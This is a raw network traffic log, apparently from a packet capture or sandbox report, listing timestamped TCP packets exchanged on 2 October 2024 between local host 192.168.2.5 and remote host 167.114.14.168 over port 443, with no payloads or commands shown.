Oct 2, 2024 06:10:14.970305920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.970376015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.970387936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.970432043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.970443010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.970463037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.970494986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.970503092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.970531940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.970547915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.970755100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.970805883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.970817089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.970824003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.970854998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.970866919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.971096039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.971117020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.971153021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.971158981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.971184969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.971193075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.971489906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.971509933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.971548080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.971555948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.971595049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.972012043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.972042084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.972073078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.972079039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.972093105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.972120047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.972258091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.972275972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.972313881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.972320080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.972338915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.972358942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.973853111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.999031067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.999053001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.999114037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.999124050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.999170065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.058522940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.058547020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.058629036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.058641911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.058696032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.058878899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.058902025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.058934927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.058943987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.058968067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.058980942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.059165955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.059185028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.059222937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.059230089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.059243917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.059271097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.059403896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.059422970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.059458017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.059465885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.059490919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.059499979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.060031891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.060054064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.060091972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.060098886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.060127974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.060137987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.060271025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.060642958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.060662031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.060705900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.060712099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.060739994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.060762882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.061078072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.061098099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.061178923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.061187029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.061227083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.087343931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.087374926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.087407112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.087414980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.087456942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.147347927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.147376060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.147511005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.147551060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.147614956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.147835016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.147885084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.147924900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.147943020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.147975922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.147994995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.148303032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.148324013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.148396015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.148407936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.148459911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.148700953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.148720980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.148780107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.148792982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.148844004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.149053097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.149072886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.149137020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.149156094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.149183035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.149200916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.149502039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.149523973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.149581909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.149595022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.149622917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.149643898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.149914026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.149946928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.149979115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.150012016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.150037050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.150058985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.175923109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.175944090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.176023960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.176034927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.176106930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.235876083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.235898018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.235980034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.236001015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.236056089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.236310005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.236327887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.236381054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.236393929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.236422062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.236443043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.236880064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.236900091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.236953974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.236965895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.236995935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.237015009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.237140894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.237160921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.237232924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.237246990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.237298965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.237473011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.237493038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.237546921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.237560034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.237586975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.237612963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.238044024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.238065958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.238116026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.238131046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.238157988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.238181114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.238512039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.238550901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.238585949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.238598108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.238626003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.238646030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.264398098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.264419079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.264488935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.264499903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.264539957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.264549971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.324552059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.324580908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.324660063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.324688911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.324743032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.325329065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.325345039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.325556040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.325565100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.325612068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.325843096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.325859070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.325931072 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.325937986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.326019049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.326493025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.326519012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.326606035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.326613903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.326673031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.326944113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.326961040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.327048063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.327056885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.327101946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.327394009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.327416897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.327461958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.327471972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.327491045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.327514887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.327784061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.327799082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.327867031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.327873945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.327923059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.352991104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.353012085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.353183985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.353200912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.353286982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.413153887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.413182974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.413322926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.413347006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.413414955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.413640022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.413655043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.413769007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.413778067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.413841963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.414139986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.414155960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.414211035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.414218903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.414249897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.414268017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.414554119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.414568901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.414628983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.414638042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.414685965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.415019989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.415035963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.415100098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.415107012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.415167093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.415657043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.415673018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.415731907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.415740967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.415785074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.416089058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.416115046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.416163921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.416174889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.416193008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.416225910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.441577911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.441601038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.441762924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.441828012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.441891909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.502060890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.502079010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.502198935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.502260923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.502326012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.502646923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.502669096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.502732992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.502748013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.502804041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.503447056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.503463030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.503540993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.503554106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.503612041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.506107092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.506123066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.506195068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.506208897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.506263971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.506686926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.506701946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.506774902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.506787062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.506845951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.507340908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.507354975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.507437944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.507452965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.507515907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.507668972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.507685900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.507756948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.507770061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.507826090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.531830072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.531850100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.532036066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.532057047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.532143116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.590249062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.590265036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.590382099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.590403080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.590471983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.590786934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.590805054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.590879917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.590893984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.590953112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.591296911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.591315985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.591399908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.591413021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.591481924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.591806889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.591824055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.591895103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.591908932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.591965914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.592257023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.592272997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.592343092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.592355013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.592410088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.592689991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.592705011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:15.592772007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:15.592784882 CEST	443	49715	167.114.14.168	192.168.2.5
